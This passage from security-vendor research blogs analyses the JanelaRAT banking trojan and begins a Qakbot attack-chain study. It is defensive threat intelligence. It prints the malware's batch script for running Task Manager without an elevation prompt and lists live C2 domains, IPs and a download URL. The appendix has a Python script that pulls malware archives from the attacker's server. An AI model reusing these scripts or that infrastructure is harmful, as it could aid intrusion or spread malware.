request. Supported values: Admin, User, Convidado (Guest in Portuguese), and Desconhecido (Unknown in Portuguese). nm Machine name vs Malware version string, e.g. 1.0.6.4. The malware makes this request attempt only if it doesn’t find a file named fi.ini in the temporary files directory. Any response from the server isn't handled. C2 rotation and communication The JanelaRAT configuration contains 32 domains used for C2 communication. Those domains are encrypted with the algorithm described earlier in the String Encryption section. The selection in that array is guided by the day of the month when making the request. For example, the following table shows the domain array for all the JanelaRAT samples we analyzed. JanelaRAT C2 domains 0 aigodmoney009[.]access[.]ly 11 myfunbmdablo99[.]hosthampster[.]com 22 minfintymexbr[.]geekgalaxy[.]com 1 freelascdmx979[.]couchpotatofries[.]org 12 irocketxmtm[.]hopto[.]me 23 cinfintymex[.]geekgalaxy[.]com 2 439mdxmex[.]damnserver[.]com 13 hotdiamond777[.]loginto[.]me 24 9mdxmex[.]damnserver[.]com 3 897midasgold[.]ddns[.]me 14 imrpc7987bm[.]mmafan[.]biz 25 ikmidasgold[.]ddns[.]me 4 disrupmoney979[.]ditchyourip[.]com 15 dmrpc77bm[.]myactivedirectory[.]com 26 rexsrupmoney979[.]ditchyourip[.]com 5 kakarotomx[.]dnsfor[.]me 16 jxjmrpc797bm[.]mydissent[.]net 27 kktkarotomx[.]dnsfor[.]me 6 skigoldmex[.]dvrcam[.]info 17 askmrpc747bm[.]mymediapc[.]net 28 megaskigoldmex[.]dvrcam[.]info 7 i89bydzi[.]dynns[.]com 18 myinfintyme09[.]geekgalaxy[.]com 29 izt89bydzi[.]dynns[.]com 8 infintymexbrock[.]geekgalaxy[.]com 19 infintymex747[.]geekgalaxy[.]com 30 zeedinfintymexbrock[.]geekgalaxy[.]com 9 brockmex57[.]golffan[.]us 20 infintymexb[.]geekgalaxy[.]com 31 zeedinfintymexbrock[.]geekgalaxy[.]com 10 j1d3c3mex[.]homesecuritypc[.]com 21 jinfintymexbr[.]geekgalaxy[.]com As you may notice, there is an extra domain at index 0 that will never be used by the C2 domain rotation algorithm. Furthermore, the domains for day 30 and day 31 are the same. The C2 channel is implemented as a socket opened to the resolution IP of the daily C2 domain. The socket port is obtained by making a request for a text file named 16Psyche.txt. This file contains just the port, encrypted with the algorithm discussed in the String Encryption section. JanelaRAT implements a custom protocol to communicate with the C2. This protocol is defined by a hierarchy of classes representing the type of messages expected to be exchanged between the malware samples and the C2 server. We call those messages "packets" because this feature was imported from BX Rat, where all those classes implement the same interface called "packet". We found packets for: mouse inputs keyboard inputs screenshot captures and more When any of those packets is instantiated to be shipped through the C2 channel, the instance is: serialized into an array of integers encrypted with a custom implementation of RC4 with key 8521 compressed with a custom implementation of the LZ4 algorithm eventually sent through the C2 channel The image below shows an example a packet class representing a sequence of keystrokes sent by the threat attacker to the malware so that they can be sent to the targeted window. This class defines specific fields (e.g., the string containing the keystrokes) with a method responsible for implementing the communication procedure. Figure 5: Example of packet class used by JanelaRAT to implement its C2 communication procedure Capabilities Capture and check window data JanelaRAT captures the content of windows title bars and checks if they are interesting for the threat attacker. "Interesting" titles will be related to financial and banking data. The malware implements a periodic behavior triggered every second and consists of three consecutive stages. Stage 1 At the first stage, JanelaRAT checks if it obtained a list of interesting title bars. If not, then the malware requests a text file named kepler186f.txt to the C2. The content is encrypted with the same algorithm used for the strings. (Since the campaign was still active at the time of analysis, we were able to download an instance of such a file.) Once decrypted, you can see that it consists of a pipe-separated ("|") list of capitalized windows titles. You can see an excerpt of the decrypted content in the box below. Excerpt from an instance of kepler186f.txt BANCOAZTECATUBANCAENLNEASUEASDECIDESLOGRAS|BITCOIN|SOLANA|ACTINVER|ACCESOALSISTEMABURSANET|ACTINVERBANCO| ACCESOCONSULTADESALDOS|EACTINVER|ACCESOABANCABANCOAZTECA|BIENVENIDOSALABANCAENLNEABBVAMXICO|EMPRESASYG OBIERNOEMPRESASBBVAMXICO|INDEXBBVANET|BBVANETCASH|SANTANDERMXICOSPARTEDELABANCAELECTRNICA|BITCOIN|BTC|RIPP LE|ETHEREUM|CASADEVECTOR|SANTANDER|SANTANDERM|ENLACESANTANDERCOMMXLOGBETENSCHANNELDRIVERSSOBTODSEOPE RATIONNAMELOGINDSENEXTEVENTNAMESTARTDSEPROCESSORSTATEINITIALNOWCHECKINGCOOKIES|BANCOSANTANDERS|BBCOMM XWEBCENTERPORTALBANBAJIOHOME|ELBANCODECONFIANZAPARAPERSONASPYMESGOBIERNOYAGRONEGOCIOS|BANCAPORINTERN ETBBCOMMX| … [REDACTED] Kepler186f.txt file content is parsed as an array of strings and stored as a class field for future use. Stage 2 At the second stage, JanelaRAT checks the same DLL directory for the block.blq file. This file has a slightly different structure compared to the kepler186f.txt file. It is still composed of a single, pipe-separated, record but it only contains three fields: a timestamp, a base64-encoded image a list of dash-separated ("-") window titles The image below shows a snippet, belonging to the malware code, implementing the parsing logic for block.blq. If the file is outdated, then the malware deletes it. Figure 6: JanelaRAT code snippet implementing the parser for block.blq file content The window titles included as the third field in block.blq are titles of windows the attacker wants to block. When the title of the foreground window is included in the block.blq, the malware attempts to close it. The blocking mechanism is implemented by invoking the SendMessage API with WM_CLOSE value for the Msg argument. JanelaRat also visualizes a dialog to the victim showing a fake error message. Stage 3 At the third stage, the malware checks if the title of the window in the foreground is appealing. The check is made after grabbing the title, capitalizing it, and eventually dropping all non-alphabetical characters. By "appealing", we mean what was discussed at Stage 1 (i.e., the title was in a previously parsed instance of kepler186f.txt). If the check succeeds, JanelaRAT opens a C2 channel in the form of a socket as discussed earlier. This channel is later used for alerting the threat attacker about the victim opening interesting windows, sending key logs, mouse clicks, and implementing remote desktop sessions. Acquire host profile details JanelaRAT is capable of collecting and sending information about the compromised host to the attacker. This information is encapsulated in a packet containing the fields reported in the following table. As you can see, the field names don't always correlate with their actual content. Moreover, some fields are left to the default values. Those aspects suggest that the original malware source code has been eventually modified or repurposed to fit the new needs of the operator. JanelaRAT sends basic information about the compromised host to the attacker Field Name Field Value Version JanelaRAT version string. Hardcoded as 1.0.6.4 for the sample discussed in this section. One of the few unencrypted strings embedded in the malware. OperatingSystem A pipe-separated string containing the following fields: OS version major, OS version minor, OS platform, integer pointers size. Example: 0|4|2|32. AccountType A dash-separated string containing the following fields: Role of the user logged in at time of request. Supported values: Admin, User, Convidado (Guest in Portuguese), and Desconhecido (Unknown in Portuguese). Country A string containing the title of the last “interesting” window opened by the user. For interesting, we mean that is included in the content of the kepler186f.txt file (previously discussed). All non-alphabetical symbols are removed from the original title bar and the chars are upper-cased. CountryCode Empty string. Region Empty string. City Empty string. ImageIndex 0 Track mouse movements JanelaRAT is capable of sending mouse activity to through C2. It defines a packet class containing the following fields: x-position of the cursor y-position of the cursor a boolean value set to true if the left button of the mouse is clicked a boolean value set to true if the left button of the mouse was double clicked Once serialized, an instance of this class is shipped. Track system usage JanelaRAT is capable of gathering additional information about the infected system usage. System usage information gathered by JanelaRAT Index Element 0 User 1 [username of the user currently logged in] 2 PC 3 [machine name] 4 Ligado [connected in Portuguese, ed.] 5 [time elapsed since the last system reboot. It’s a string having the format {0}d : {1}h : {2}m : {3}s where {0}, {1}, {2}, {3} are placeholders for the number of days, hours, minutes, and seconds respectively] 6 IP 7 [comma-separated list of IP addresses currently associated with the infected system] The malware assembles an array of strings containing the elements shown in the table above. Once assembled, the array is sent to the C2. Open message boxes on the infected system JanelaRAT gives a threat attacker the ability to open message boxes on the infected system, which may influence the behaviour of the user. After having shown the message box, the malware sends an acknowledgment to the C2. The acknowledge is another packet class containing a single field of type string called "Message" and instantiated with the value Mensagem mostrada ("Message shown" in Portuguese). Perform actions JanelaRAT is capable of performing a wide range of actions on the attacker’s behalf. Those actions are identified by an integer number called "Mode". JanelaRAT is capable of performing action on behalf of the attacker Mode Description 1 Shuts down the infected system by issuing the shutdown shell command. 2 Suspends the infected system. 5 Enables mouse synthesization. This mode allows the attacker to simulate the mouse and issue clicks or double-clicks for the left button. 6 Enables sleep for one second. 8 Enables sleep for one second. 9 Create a file named 1.bat under the user directory. That file contains the following batch script: cmd /min /C set __COMPAT_LAYER=RUNASINVOKER && start #1 cmd /min /C REG ADD HKCUControl PanelDesktop /v Win8DpiScaling /t REG_DWORD /d 0x00000001 /f cmd /min /C REG ADD HKCUControl PanelDesktop /v LogPixels /t REG_DWORD /d 0x00000060 /f The purpose of this script is to fix potential errors in rendering fonts. This script is executed with %SystemRoot%\taskmgr.exe as its first argument, resulting in executing the Task Manager application without requesting administrative privileges. The task Manager window is immediately hidden by running ShowWindow API with the SW_HIDE value for the nCmdShow argument. Finally, 1.bat is removed. 10 Deletes the file block.blq if it exists in the same folder as JanelaRAT. 11 Sends a test email by starting a new process with mailto:[email protected]?subject=teste&body=teste 12 Enables Desktop Windows Manager composition and sets the Aero Windows theme. 51 Disables mouse synthesization. 52 Shows the last selected window, waits 300 milliseconds, and eventually maximizes it. 80 Sends the {DOWN} key to the currently active application. 81 Sends the {UP} key to the currently active application. 82 Sends the {TAB} key to the currently active application. 99 Uninstalls any hook installed by JanelaRAT to monitor keyboard events and mouse events. In this specific case, there is no acknowledgement sent back to the attacker when the operation completes. After an action is performed, with the exception of Mode 99, the malware sends a notification to the C2 by encapsulating Mode as the field of a packet class and shipping the serialized instance. Capture screenshots JanelaRAT is capable of capturing and shipping screenshots. It defines an packet class containing three fields: Janela (window, in Portuguese): Integer dictating the type of screenshot operation being requested. If Janela is set to 1, the malware captures a magnified screenshot. If Janela is set to 2, then the malware live-captures a screenshot and sends it through the C2. Mode: Integer that controls the encoding of the captured screenshot. If this field is set to a value bigger than 10, then the screenshot is encoded as a PNG, otherwise it is encoded as a JPG. Number: This field is not used. Run in special execution modes JanelaRat ships with the capability of running in special execution modes. Each execution mode affects the malware behaviour and it is identified by a label. The attacker may request the malware to operate in any of those modes. As an example, when in _blcoqueio_tempo_determinado mode, the malware creates a new block.blq file with a limited duration in minutes. The purpose of this behaviour is to temporarily prevent the user from opening windows with specific titles. The file is created only if it doesn’t already exist in the malware directory. When in _modal_inicial mode, the malware shows a modal dialog that forces the user to interact with the malware by disabling user interaction with the main window. The foreground image for the dialog is obtained from C2. The malware registers a hook for both keyboard and mouse events. When in _modal_win_update mode, JanelaRAT displays a fake alert warning the user to not shut the system down while the Windows updates are in progress. Most likely, this allows the attacker to operate on the compromised host while the fake warning is shown to the user. Finally, when in _modal_loading, modal_error, or modal_tocalm, JanelaRAT operates in the same way: it shows an attacker-provided image to the user. The image is different in each mode, but we weren't able to obtain any of those at the time of analysis. Relationship with BX Rat BX Rat is a malware discovered in 2014 and is a fully-fledged Remote Access Trojan (RAT). BX Rat is capable of: shell command execution file download/upload directory exploration processes enumeration and killing process creation system information gathering remote desktop control and more Figure 7: BX Rat event handlers - which indicate functionalities Similarities between BX RAT and JanelaRAT The threat attackers who created JanelaRAT took strong inspiration from the BX RAT code. In this section, we discuss similarities between BX RAT and JanelaRAT. For BX Rat, we use an unpacked sample in circulation since 2014. The hashes are listed below: Hashes of the BX RAT instance used to compare it with JanelaRAT MD5 7e4592e02951be844a2ee603d75070a6 SHA1 be7e5282efe58018b462a5ba0a78a7f01108460d SHA256 c6b3f1648f7137df91606f6aaaa6d25d672e18c8adcb178c6d8cdcf3148a3c81 C2 communication procedure We believe the JanelaRAT developer imported the C2 communication procedure from BX Rat. As shown in the image below, BX RAT serializes a packet instance as an array of integers. This array is later encrypted and finally compressed with a custom implementation of the LZ4 algorithm. The same we observed in JanelaRAT. The encryption algorithm, at least in this BX RAT sample, is a different one since it consists of a custom implementation of AES instead of RC4 - like in JanelaRAT. Regardless, the two images below show the similarity between the BX RAT C2 transmission procedure (top) and the corresponding code in JanelaRAT (bottom). Figure 8: BX RAT serializes a packet instance as an array of integers Figure 9: JanelaRAT serializes a packet instance as an array of integers LZ4 Algorithm The custom implementation of the LZ4 algorithm is the same in BX RAT (top image) and JanelaRAT (bottom image). Figure 10: Excerpt of BX Rat custom implementation of LZ4 compression algorithm Figure 11: Excerpt of JanelaRAT custom implementation of LZ4 compression algorithm The packets system, namely those classes representing packets exchanged by JanelaRAT and the C2 server, was imported from BX RAT. The images below show an example of the Status packet sent by both malware strains to acknowledge the attacker about any activity committed on the infected hosts. Regardless, the two images below show the similarity between the BX RAT packet system (top) and the corresponding code in JanelaRAT (bottom). Figure 12: Example of packet class defined in BX Rat Figure 13: Example of packet class defined in JanelaRAT Differences between JanelaRAT and BX RAT JanelaRAT ships with just a subset of the features offered by BX RAT. The JanelaRAT developer didn't import shell commands execution functionality, or files and processes manipulation functionalities. On the other hand, the JanelaRAT developer invested more energy in developing new capabilities such as the windows titles sensibility mechanism and the dynamic socket configuration mechanism. Based on these observations, we believe that JanelaRAT is being repurposed as a variant of BX RAT to create a new malware strain. Our Findings on JanelaRAT Let's take a look at our findings and what led our team to those conclusions. Malware developer is Portuguese-speaking As mentioned earlier, all the samples we used in this analysis contain strings in Portuguese. The strings appear in both messages directed to the user (e.g., error messages appearing in popups) and events shipped to the attacker through the C2 channel. Threat actors are targeting banking and financial institutions in LATAM We found old code indicating that threat actors are targeting financial institutions in LATAM. A particular string caught our attention because it shines light on the attacker's intentions. Like other strings, this one is encrypted and stored as a field of a configuration class. The string is shown, in both its encrypted and decrypted form, in the table below. As you can see, the decrypted string contains multiple references to window titles related to Latin American organizations operating in the banking and decentralized finance verticals. Likely a string containing an older configuration for JanelaRAT Encrypted Form qh7JCRu6U5xLyPrGW510TeZJBdE9sJ1w6ZDiYtlU6xp4x+HCTK53f6HNpbr74MxVlQ/786Lt5lmdyEvbbYEr5yUYC 07Fo9gqDf9B53BAMlKtWBD/oXTmWgWq/cwhtKIkmTERTkxr49oJxl+4MQt5E5oH3CYrF0+ixqhxss3QTkccZE6Kg VeZdK4jJruk26MXH4csG02e0lIGK0HYsJgKOccjSxNOEdqUqZpVRki2W41Q8PMeekqY3i5cEyj+Meq/75bSLmaMI U0h68cT1CxyIvfqaG3NQOlBYDaNW4XT66skZnHkXXy97P+fHVSx/nl/wZDKLGYjiNsvqTP4M48+yo0qt8RGyY5gT ekuDUkm9FYuow+rCxiu0uuS7z1zdgNfJwfctP+VoKU1iKADnQN3OgBSW0pcryYtUAyyl3kPEBZFfg82FJ9qru5UFF AEgSooBVfgCNuN+YwUwnXi2OsBcEaOMaV9f+CSxra8vceXsyrcPC1gD2AT+JGryCu0n21CQ57n6JymD6YyjL/G OEGzpYE06DTt5oHL8HHClxoJU5//P4n6lPnj+wZMq/kyn++vf7de02rHehqrbyGW6jfy/95oviQO759CNctkhpKBvJi9 rroKLOPgwT4LRJC0MNCwD+J8QVomwZIl/SSFivvg6w== Decrypted Form OFF|NAO|dia06mx.est-a-la-maison.com|8022|BIENVENIDOSALABANCAENLNEABBVAMXICO|BIENVENIDOSA LABANCAENLNEABBVAMXICO|INDEXBBVANET|BBVANETCASH|SANTANDERMXICOSPARTEDELABANCAE LECTRNICA|SANTANDERM|BANCOSANTANDERSGOO|BANCONACIONALDEMXICOCITIBANAMEX|BANCAN ETCITIBANAMEXCOM|BANAMEX|BANORTEELBANCOFUERTEDEMXICO|BANORTEELBANCOFUERTEDEMX ICO|BINANCECORRETORADECRIPTOMOEDASPARABITCOINETHEREUMEALTCOINS|COMPREEVENDABIT COINRAPIDAMENTEPAXFUL|BITSOMSQUEUNEXCHANGEDECRIPTOUNASOLUCINCOMPLETA In addition to the table above, you can infer locations from the first submission on VirusTotal for the VBScript. All the instances we were aware of at the time of analysis were first submitted from LATAM countries. Please see the table below for details: Location of first submission for the VBScript MD5 of the VBScript Country of First Submission 8e7dc7fd611d286ff788ce5583f4d0f7 Mexico cde203b715270f9d948704333630c0ee Mexico 97704646c49406ab2bf5f80164bff55a Mexico be7d1742ac03106e5ae9a4d7b9320fd9 Mexico e9d8743ccfb95b40210d056741c28dc6 Peru 7115d48c7a26ba5dbcbfdad6f2558f8b Colombia 123eebaaa6db5a464fb6dc8bd165e15f Colombia 7ac6d7857b77c27ebb4a1db9a176a86a Colombia Repurposing Remote Access Trojans (RATs) The usage of original or modified commodity Remote Access Trojans (RATs) is common among threat actors operating in the LATAM region. For example, Blind Eagle (aka APT-C-36) recently adopted this technique. You can read about it on TrendMicro or Check Point Research. Abusing DNS services Using dynamic DNS services to establish C2 channels from malware implants to the attacker's infrastructure is another technique adopted by Blind Eagle. You can read about it on BlackBerry's blog. Conclusion In conclusion, JanelaRAT's focus on harvesting LATAM financial data and its method of extracting window titles for transmission underscores its targeted and stealthy nature. With an adaptive approach utilizing dynamic socket configuration and exploiting DLL side-loading from trusted sources, JanelaRAT poses a significant threat. In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Zscaler Coverage Zscaler sandbox coverage The image below shows the Zscaler cloud sandbox report for JanelaRAT's VBScript downloader. Figure 14: Zscaler sandbox coverage In addition, Zscaler's multilayered cloud security platform detects this campaign at various levels with the following threat names: VBScript.Downloader.JanelaRAT Win32.RAT.JanelaRAT Win64.RAT.JanelaRAT MITRE ATT&CK Mapping ID Technique Name Annotation T1587.001 Develop Capabilities: Malware The attacker repurposed a known malware (BX Rat) to generate a new malware (JanelaRAT) and added a new set of features. T1608.001 Stage Capabilities: Upload Malware The attacker staged compressed archives containing samples of JanelaRAT on the infrastructure. T1059.005 Command and Scripting Interpreter: Visual Basic The attack chain includes the execution of a VBScript responsible for installing JanelaRAT. T1059 Command and Scripting Interpreter The attack chain includes the execution of a batch script responsible for setting up persistence for JanelaRAT. T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Persistence is achieved by setting a RunKey. T1574.002 Hijack Execution Flow: DLL Side-Loading JanelaRAT is side-loaded by a legitimate executable delivered by the threat attacker on the infected system. DLL side-loading is used for defense evasion. T1027.002 Obfuscated Files or Information: Software Packing JanelaRAT is protected with a commercial packer called Eazobfuscator. T1140 Deobfuscate/Decode Files or Information JanelaRAT strings are stored and encrypted with AES and encoded in Base64. Furthermore, strings in the VBScript are obfuscated. T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion JanelaRAT goes idle if the last input event occurred more than 10 minutes before the check. T1132.001 Data Encoding: Standard Encoding JanelaRAT encodes information transmitted to the C2 in Base64. T1573.001 Encrypted Channel: Symmetric Cryptography JanelaRat encrypts information transmitted to the C2 using AES. T1095 Non-Application Layer Protocol JanelaRAT establishes a socket-based C2 channel. T1041 Exfiltration Over C2 Channel JanelaRAT ships screenshots of the compromised system via the C2 channel. Indicators of Compromise (IOCs) MD5 hashes of Stage 1 compressed archives 526a0b2d142567d8078e24ab0758fad7 e841f4691e5107fe360b1528384a96f0 c39f75423862c1525f089a5e966b9d04 72c02b3181c763d0e67f060e91635a97 897e8483b673db70fdc5d3d111600cac c2f4cb0da89b4ea86ab5369a942428eb e56d8632db98b07d2b49423f7dd64b42 8b83e6b2d891cdf9250e9afd17081eab 999a9af2cd20a8c4bcf652e3523aafa3 MD5 hashes of VBScripts 51268b9681df47022c44af43f9d57255 24c6bff8ebfd532f91ebe06dc13637cb 1b72c12db8a37103a37cab5b3b14398c 397e407e63128e71089971e3b35dd253 172ca00d32a201f5e917bc4d73f720a1 505fab6d83ef86a4b12b5808047fa7f1 3870e4a4d86a34424ea47bdaa722cd89 44d9f29a81a2f2df83b6000165e8a06f f71471d7e94ef739a8ee44125023b750 ec60bc4522fa58bfe9592abde33948a7 81618be603bca301ac156ed169444569 ba2bd2d31cf591480b69e106b0e77b5c e2d7101f405ed88aba89bf39d56ee7a8 84919bf0583c0e6c04e606f34a1d56f3 48c189e5dfe28b9d2b32fd813a991adb e684e872213432320c78f56c72c88a8e c86fdacd8af28cb08ef406bc6d4fc5a7 d057c499f440b77cfcad8d859d389915 36a8a7407f084b4ae461b6bb4dd0b65c 900445a57f462d0df130c3612e6caed7 691cc21dae6e320564f74d6372e94286 b1e1134c82fdfe283948930089474574 0cf2707ce1dccd6054813cb9207bf3d4 d1684fa84602a2d560b47dfe0f0779b4 2cbee69042a4d85ecfe6e55639b1b42a da48cd57e4b45cba63716bc2d53c4c76 Download URL for Stage 2 compressed archives http://zimbawhite[.]is-certified[.]com:3001/clientes/[1-44] http://45[.]42[.]160[.]55/ MD5 hashes of Stage 2 compressed archives 897e8483b673db70fdc5d3d111600cac b2aaee6945f75caa1c44bca3e2812993 e166bd80341871c9d752537f80584334 3bbfc1f2e20ba8209d057c215303b2bf 4d62fc39e2586da78b65fff6dc844670 aa3162289e7e848b7aeb19c8b85131fd 1fc6298c88b3ea2030cc0382369d0bb9 999a9af2cd20a8c4bcf652e3523aafa3 42eb945b1b881b2319a74af06b1037db 8ca3dd771adbba82d28ce7ba4a0b8c97 e56d8632db98b07d2b49423f7dd64b42 e841f4691e5107fe360b1528384a96f0 4a1465999cdd9ee687b72289df05eaa9 5335caa5d199eac6f67b2e911b6b1e37 c39f75423862c1525f089a5e966b9d04 e2f9e1dfb24c9deb7f4a3c0c5c1fd016 3ec6342286d5b699bc1fb2ef6598f906 526a0b2d142567d8078e24ab0758fad7 3cbe59c309f803fffdadcc69d3578a53 4c9c287103defb55b9e89278800e4025 7548edc03021561c4d7a1b386aaa7696 596de51352cbeb0d26d861e991889578 18ed52de642d3f3aab7c271804bd005a 5a5106ee07d277b373d13c9f3160fea0 7b70c957449ab51f8d561582f229d5cf 0898c4c1cb698cd29707db44352ab868 5f628223fa083e4598badfe7efae5269 c2f4cb0da89b4ea86ab5369a942428eb 304202cbc70412e76a216257ff4d2085 398d0268535cba57fa3b33159bbe04f3 e6c501b52165cd278724ea229e44a8b9 c625443768b40cfbc93e28b92e874740 c5f2d6d3d3ac3521d2b2f7fa90d3ee5e b036f1351ed5af87005978c7b6036d3d 3a336c5c7bd08587ad1709294d044e41 fc79aa5093f55dfa18a20f538c5e475e 4b142b23110fbb7b98ad49c051d7a1af 76887ccf6de5b5f8d70cd6d91450b131 6364aa555ae8fd0ba5a8d97a2ffa314a 72c02b3181c763d0e67f060e91635a97 8b83e6b2d891cdf9250e9afd17081eab f4a42ef33e3a3a41b4e7ee0cd3173fb6 72f4e0f7ff7a82c1e5cb6480c0c90a00 1a47c3afa06960e8d8f54e507aa23675 JanelaRAT C2 domains cnt-blackrock.geekgalaxy.com aigodmoney009.access.ly freelascdmx979.couchpotatofries.org 439mdxmex.damnserver.com 897midasgold.ddns.me disrupmoney979.ditchyourip.com kakarotomx.dnsfor.me skigoldmex.dvrcam.info i89bydzi.dynns.com infintymexbrock.geekgalaxy.com brockmex57.golffan.us j1d3c3mex.homesecuritypc.com myfunbmdablo99.hosthampster.com irocketxmtm.hopto.me hotdiamond777.loginto.me imrpc7987bm.mmafan.biz dmrpc77bm.myactivedirectory.com jxjmrpc797bm.mydissent.net askmrpc747bm.mymediapc.net myinfintyme09.geekgalaxy.com infintymex747.geekgalaxy.com infintymexb.geekgalaxy.com jinfintymexbr.geekgalaxy.com minfintymexbr.geekgalaxy.com cinfintymex.geekgalaxy.com 9mdxmex.damnserver.com ikmidasgold.ddns.me rexsrupmoney979.ditchyourip.com kktkarotomx.dnsfor.me megaskigoldmex.dvrcam.info izt89bydzi.dynns.com zeedinfintymexbrock.geekgalaxy.com JanelaRAT C2 IP addresses 191.96.224.215 192.99.169.240 191.96.79.24 167.88.168.132 102.165.46.28 189.89.15.37 MD5 hashes of JanelaRAT DLLs 99bf0fba15aa3a9a59cbf442a80364e5 999a9af2cd20a8c4bcf652e3523aafa3 8b83e6b2d891cdf9250e9afd17081eab e56d8632db98b07d2b49423f7dd64b42 c2f4cb0da89b4ea86ab5369a942428eb 897e8483b673db70fdc5d3d111600cac 72c02b3181c763d0e67f060e91635a97 c39f75423862c1525f089a5e966b9d04 e841f4691e5107fe360b1528384a96f0 526a0b2d142567d8078e24ab0758fad7 Appendix - Python Scripts to Help You Approach JanelaRAT Script for decrypting JanelaRAT strings import base64 import hashlib import sys from Crypto.Cipher import AES def decrypt_string(cyphertext: str, key: bytes) -> str: # handling the cyphertext cypertext_bytes = bytes(cyphertext, "utf-16") cypertext_decoded = base64.b64decode(cypertext_bytes) iv = cypertext_decoded[:16] # configuring the de-cryptor decryptor = AES.new(key, AES.MODE_CBC, iv=iv) # decrypting plaintext_bytes = decryptor.decrypt(cypertext_decoded)[16:] plaintext_decoded = plaintext_bytes.decode("utf-8") # print(plaintext_decoded) plaintext = "".join([c for c in plaintext_decoded if c.isalpha() or c.isnumeric() or c in (".", "|", "-", ":", "/", " ", "_", "{", "}", "?", "=", "@", "&", “#”)]) # plaintext = plaintext_decoded return plaintext def get_key(key: str) -> bytes: key_bytes = bytes(key, "utf-8") key_md5 = hashlib.md5(key_bytes) return key_md5.digest() def main() -> int: args = sys.argv[1:] if len(args) != 2: print("usage: mx_strings_decryptor.py STRINGS_FILE KEY") return -1 path, key = args # handling key key = get_key(key) # decrypting strings with open(path, "r") as sh: for encrypted_string in sh: # print(f">> {encrypted_string}") if len(encrypted_string) <= 16: print(encrypted_string.strip()) else: try: decrypted_string = decrypt_string(encrypted_string, key) print(decrypted_string) except: print(encrypted_string.strip()) if __name__ == "__main__": main() Script to fetch all archives from the C2 server import requests import json import base64 import time def fetchemall(): for i in range(1,45,1): url = "http://zimbawhite.is-certified.com:3001/clientes/" + str(i) print("fetching archive number %d" %(i)) res = requests.get(url) time.sleep(2) response = res.text j = json.loads(response) enc = j['Body'] dec = base64.b64decode(enc) o_fname = str(i) + ".zip" with open(o_fname, "wb") as f: f.write(dec) return if __name__ == "__main__": fetchemall() Thu, 10 Aug 2023 14:02:46 -0700 Gaetano Pellegrino https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech Hibernating Qakbot: A Comprehensive Study and In-depth Campaign Analysis https://www.zscaler.com/blogs/security-research/hibernating-qakbot-comprehensive-study-and-depth-campaign-analysis Introduction In the ever-evolving landscape of cyber threats, banking trojans continue to pose a significant risk to organizations worldwide. Among them, Qakbot, also known as QBot or Pinkslipbot, stands out as a highly sophisticated and persistent malware active since 2007, targeting businesses across different countries. With a primary focus on stealing financial data and login credentials from web browsers, Qakbot also serves as a backdoor to inject next-stage payloads like Cobalt Strike and ransomware. Its adaptability, evasive techniques, and global reach have made it a formidable adversary for cybersecurity professionals seeking to defend against its malicious activities. As part of our commitment to monitoring active malware campaigns, Zscaler's ThreatLabz team conducts in-depth investigations to uncover the various attack chains employed by Qakbot. In this research article, we delve into the depths of Qakbot, conducting a comprehensive technical analysis to understand its behavior, attack vectors, and distribution methods. We explore its use of diverse file formats, encryption techniques, and attack chains to evade detection and maintain its foothold in infected systems. Our examination also uncovers patterns in its Command and Control (C2) infrastructure and provides valuable insights into its geographic distribution. Recent campaigns have revealed Qakbot's adaptation to changing conditions. In January 2023, after Microsoft disabled Macros by default in all Office applications, Qakbot began abusing OneNote files as a means of spreading itself. For detailed insights into these campaigns and obfuscation techniques, readers can refer to Zscaler ThreatLabz's research blog on OneNote. With the use of Zscaler Sandbox, we shed light on the threat scores and specific MITRE ATT&CK techniques triggered by Qakbot during our investigation. Armed with this knowledge, cybersecurity professionals can better equip themselves to counter this persistent malware and protect their networks from its malicious campaigns. Interestingly, we observed a significant decline in Qakbot activity after June, indicating a potential pause in the threat actor's operations. It appears that the group behind Qakbot has temporarily reduced its activities, which could indicate various factors at play. Throughout this article, we delve into the intricacies of Qakbot's attack chains, encryption methods, and its wide geographical reach. Our ultimate goal is to empower cybersecurity professionals to better defend against this sophisticated and persistent banking trojan. By fostering collaboration within the cybersecurity community and staying vigilant in monitoring emerging threats, we aim to collectively enhance the security posture of organizations worldwide and preserve the trust of users and businesses alike. Top 5 Key Takeaways 1. Qakbot - A Persistent Banking Trojan: Qakbot, also known as QBot or Pinkslipbot, has been an active and persistent banking trojan since 2007. It continues to evolve over time, utilizing different techniques to infect users and compromise systems. Qakbot employs diverse attack chains, multiple file formats, and obfuscation methods to avoid detection from antivirus solutions and maintain its foothold in infected systems. 2. OneNote Campaign and Ongoing Activity: Following the OneNote campaign, Qakbot remains highly active, distributing its payload through various attack chains. Despite security measures and patches aimed at mitigating Qakbot's attacks, the threat actors continue to find novel ways to deliver their payload and exploit vulnerable Windows file formats. The malware employs different abusable file formats, including pdf, html, xhtml (eXtended HTML), wsf (Windows Script File), js (Javascript), ps (Powershell), xll (Excel add-in), hta (HTML Application), xmlhttp, etc., in its attack chain to infect users. 3. Global Reach and C2 Infrastructure: The analysis reveals Qakbot's wide geographic distribution, with C2 servers highly active in various countries. This highlights the malware's global reach and capability to target organizations worldwide. 4. Decline in Qakbot Activity: After observing a significant drop in Qakbot activity after June, it appears that the threat actor behind Qakbot has temporarily reduced its operations. The reasons for this decline remain unclear. 5. Collective Defense and Vigilance: Collaboration within the cybersecurity community, proactive monitoring, and adherence to best practices are crucial to effectively counter Qakbot's relentless pursuit. Strengthening security protocols and conducting security awareness training are essential in safeguarding against banking trojans like Qakbot and preserving the integrity of networks and sensitive data. Analysis of Qakbot Attack Chains This section presents distinct variations of the Qakbot banking trojan attack chain, examined across samples discovered between March and May of 2023. The case studies below specifically concentrate on how diverse file formats and techniques execute the Qakbot end payload on the victim's machine, instead of directly dropping and executing the malware. Case Study 1: March 2023 - Evolving Qakbot Tactics: Exploiting File Formats for Deceptive Payload Delivery At the outset of the year, Qakbot began spreading through OneNote files. Subsequently, in March, a shift was observed, as Qakbot transitioned to using PDF and HTML files as the initial attacking vectors to download further stage files, leading to the delivery of the final payload. These file formats are commonly utilized by numerous threat actors to infect users. Multiple attack chains were observed, wherein Qakbot utilizes PDF files as the initial vector to download the next stage file, which contains an obfuscated JS (Javascript) file bearing names like "Invoice," "Attach," "Report," or "Attachments" to deceive users into executing the file. Upon running the JS file, Qakbot initially creates a registry key and adds the base64 encoded Powershell command into the registry key using the reg.exe command line tool, enabling the download and execution of the Qakbot DLL. Attack Chain: MalSpam -> PDF -> URL -> JS -> PS 